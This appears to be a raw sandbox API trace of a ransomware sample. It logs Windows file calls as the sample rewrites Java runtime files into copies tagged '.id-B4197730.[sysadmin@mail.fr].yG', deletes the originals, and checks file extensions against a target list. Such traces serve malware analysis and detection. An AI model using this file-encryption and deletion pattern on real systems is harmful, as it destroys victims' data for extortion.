	[0145.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.854] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.855] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.855] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.855] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.859] GetLastError () returned 0x0
	[0145.859] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x500, lpOverlapped=0x0) returned 1
	[0145.860] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x510, lpOverlapped=0x0) returned 1
	[0145.862] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.862] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0145.862] SetEndOfFile (hFile=0x530) returned 1
	[0145.862] CloseHandle (hObject=0x530) returned 1
	[0145.862] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.862] SetEndOfFile (hFile=0x518) returned 1
	[0145.866] CloseHandle (hObject=0x518) returned 1
	[0145.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.867] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1
	[0145.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.868] lstrlenW (lpString=".doc") returned 4
	[0145.868] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0145.868] lstrlenW (lpString=".docx") returned 5
	[0145.868] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0145.868] lstrlenW (lpString=".pdf") returned 4
	[0145.868] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0145.868] lstrlenW (lpString=".xls") returned 4
	[0145.868] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0145.868] lstrlenW (lpString=".xlsx") returned 5
	[0145.868] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0145.868] lstrlenW (lpString=".ppt") returned 4
	[0145.868] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0145.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.868] lstrlenW (lpString=".zip") returned 4
	[0145.868] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString=".rar") returned 4
	[0145.869] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString=".bz2") returned 4
	[0145.869] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString=".7z") returned 3
	[0145.869] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0145.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.869] lstrlenW (lpString=".dbf") returned 4
	[0145.869] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.869] lstrlenW (lpString=".1cd") returned 4
	[0145.869] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.869] lstrlenW (lpString=".jpg") returned 4
	[0145.869] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0145.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.869] lstrlenW (lpString=".doc") returned 4
	[0145.870] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString=".docx") returned 5
	[0145.870] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0145.870] lstrlenW (lpString=".pdf") returned 4
	[0145.870] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString=".xls") returned 4
	[0145.870] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString=".xlsx") returned 5
	[0145.870] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0145.870] lstrlenW (lpString=".ppt") returned 4
	[0145.870] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.870] lstrlenW (lpString=".zip") returned 4
	[0145.870] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString=".rar") returned 4
	[0145.870] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0145.870] lstrlenW (lpString=".bz2") returned 4
	[0145.870] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0145.871] lstrlenW (lpString=".7z") returned 3
	[0145.871] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0145.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.871] lstrlenW (lpString=".dbf") returned 4
	[0145.871] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0145.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.871] lstrlenW (lpString=".1cd") returned 4
	[0145.871] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0145.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0145.871] lstrlenW (lpString=".jpg") returned 4
	[0145.871] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0145.871] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0145.871] lstrlenW (lpString="javafx.properties") returned 17
	[0145.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.972] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=56) returned 1
	[0145.972] CloseHandle (hObject=0x52c) returned 1
	[0145.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20
	[0145.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.977] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.977] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0145.978] GetLastError () returned 0x0
	[0145.978] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x38, lpOverlapped=0x0) returned 1
	[0145.979] WriteFile (in: hFile=0x51c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x40, lpOverlapped=0x0) returned 1
	[0145.981] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.981] WriteFile (in: hFile=0x51c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0145.981] SetEndOfFile (hFile=0x51c) returned 1
	[0145.981] CloseHandle (hObject=0x51c) returned 1
	[0145.981] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.981] SetEndOfFile (hFile=0x52c) returned 1
	[0146.265] CloseHandle (hObject=0x52c) returned 1
	[0146.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1
	[0146.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.266] lstrlenW (lpString=".doc") returned 4
	[0146.266] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0146.266] lstrlenW (lpString=".docx") returned 5
	[0146.266] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0146.266] lstrlenW (lpString=".pdf") returned 4
	[0146.266] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0146.266] lstrlenW (lpString=".xls") returned 4
	[0146.267] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString=".xlsx") returned 5
	[0146.267] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0146.267] lstrlenW (lpString=".ppt") returned 4
	[0146.267] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString=".zip") returned 4
	[0146.267] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString=".rar") returned 4
	[0146.267] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString=".bz2") returned 4
	[0146.267] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString=".7z") returned 3
	[0146.267] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString=".dbf") returned 4
	[0146.267] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString=".1cd") returned 4
	[0146.267] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString=".jpg") returned 4
	[0146.267] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.267] lstrlenW (lpString=".doc") returned 4
	[0146.267] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0146.267] lstrlenW (lpString=".docx") returned 5
	[0146.268] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0146.268] lstrlenW (lpString=".pdf") returned 4
	[0146.268] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString=".xls") returned 4
	[0146.268] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString=".xlsx") returned 5
	[0146.268] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0146.268] lstrlenW (lpString=".ppt") returned 4
	[0146.268] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.268] lstrlenW (lpString=".zip") returned 4
	[0146.268] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString=".rar") returned 4
	[0146.268] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString=".bz2") returned 4
	[0146.268] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString=".7z") returned 3
	[0146.268] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0146.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.268] lstrlenW (lpString=".dbf") returned 4
	[0146.268] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.268] lstrlenW (lpString=".1cd") returned 4
	[0146.268] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0146.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0146.268] lstrlenW (lpString=".jpg") returned 4
	[0146.268] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0146.268] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0146.268] lstrlenW (lpString="jce.jar") returned 7
	[0146.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.269] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=116446) returned 1
	[0146.269] CloseHandle (hObject=0x52c) returned 1
	[0146.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20
	[0146.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.270] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.270] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0146.270] GetLastError () returned 0x0
	[0146.270] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1c6de, lpOverlapped=0x0) returned 1
	[0146.372] WriteFile (in: hFile=0x548, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1c6e0, lpOverlapped=0x0) returned 1
	[0146.377] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.377] WriteFile (in: hFile=0x548, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0146.377] SetEndOfFile (hFile=0x548) returned 1
	[0146.377] CloseHandle (hObject=0x548) returned 1
	[0146.377] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.377] SetEndOfFile (hFile=0x52c) returned 1
	[0146.383] CloseHandle (hObject=0x52c) returned 1
	[0146.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.383] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1
	[0146.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.384] lstrlenW (lpString=".doc") returned 4
	[0146.384] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.384] lstrlenW (lpString=".docx") returned 5
	[0146.384] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0146.384] lstrlenW (lpString=".pdf") returned 4
	[0146.384] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.384] lstrlenW (lpString=".xls") returned 4
	[0146.384] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.384] lstrlenW (lpString=".xlsx") returned 5
	[0146.384] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0146.384] lstrlenW (lpString=".ppt") returned 4
	[0146.384] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.384] lstrlenW (lpString=".zip") returned 4
	[0146.384] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.384] lstrlenW (lpString=".rar") returned 4
	[0146.384] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.385] lstrlenW (lpString=".bz2") returned 4
	[0146.385] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.385] lstrlenW (lpString=".7z") returned 3
	[0146.385] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.385] lstrlenW (lpString=".dbf") returned 4
	[0146.385] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.385] lstrlenW (lpString=".1cd") returned 4
	[0146.385] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.385] lstrlenW (lpString=".jpg") returned 4
	[0146.385] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.385] lstrlenW (lpString=".doc") returned 4
	[0146.385] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.385] lstrlenW (lpString=".docx") returned 5
	[0146.385] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0146.385] lstrlenW (lpString=".pdf") returned 4
	[0146.385] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.385] lstrlenW (lpString=".xls") returned 4
	[0146.385] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.385] lstrlenW (lpString=".xlsx") returned 5
	[0146.385] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0146.385] lstrlenW (lpString=".ppt") returned 4
	[0146.385] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.386] lstrlenW (lpString=".zip") returned 4
	[0146.386] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.386] lstrlenW (lpString=".rar") returned 4
	[0146.386] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.386] lstrlenW (lpString=".bz2") returned 4
	[0146.386] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.386] lstrlenW (lpString=".7z") returned 3
	[0146.386] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.386] lstrlenW (lpString=".dbf") returned 4
	[0146.386] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.386] lstrlenW (lpString=".1cd") returned 4
	[0146.386] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0146.386] lstrlenW (lpString=".jpg") returned 4
	[0146.386] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.386] lstrcmpiW (lpString1=".jfc", lpString2=".yG") returned -1
	[0146.386] lstrlenW (lpString="default.jfc") returned 11
	[0146.386] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.387] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=20109) returned 1
	[0146.387] CloseHandle (hObject=0x52c) returned 1
	[0146.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20
	[0146.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.388] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.388] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
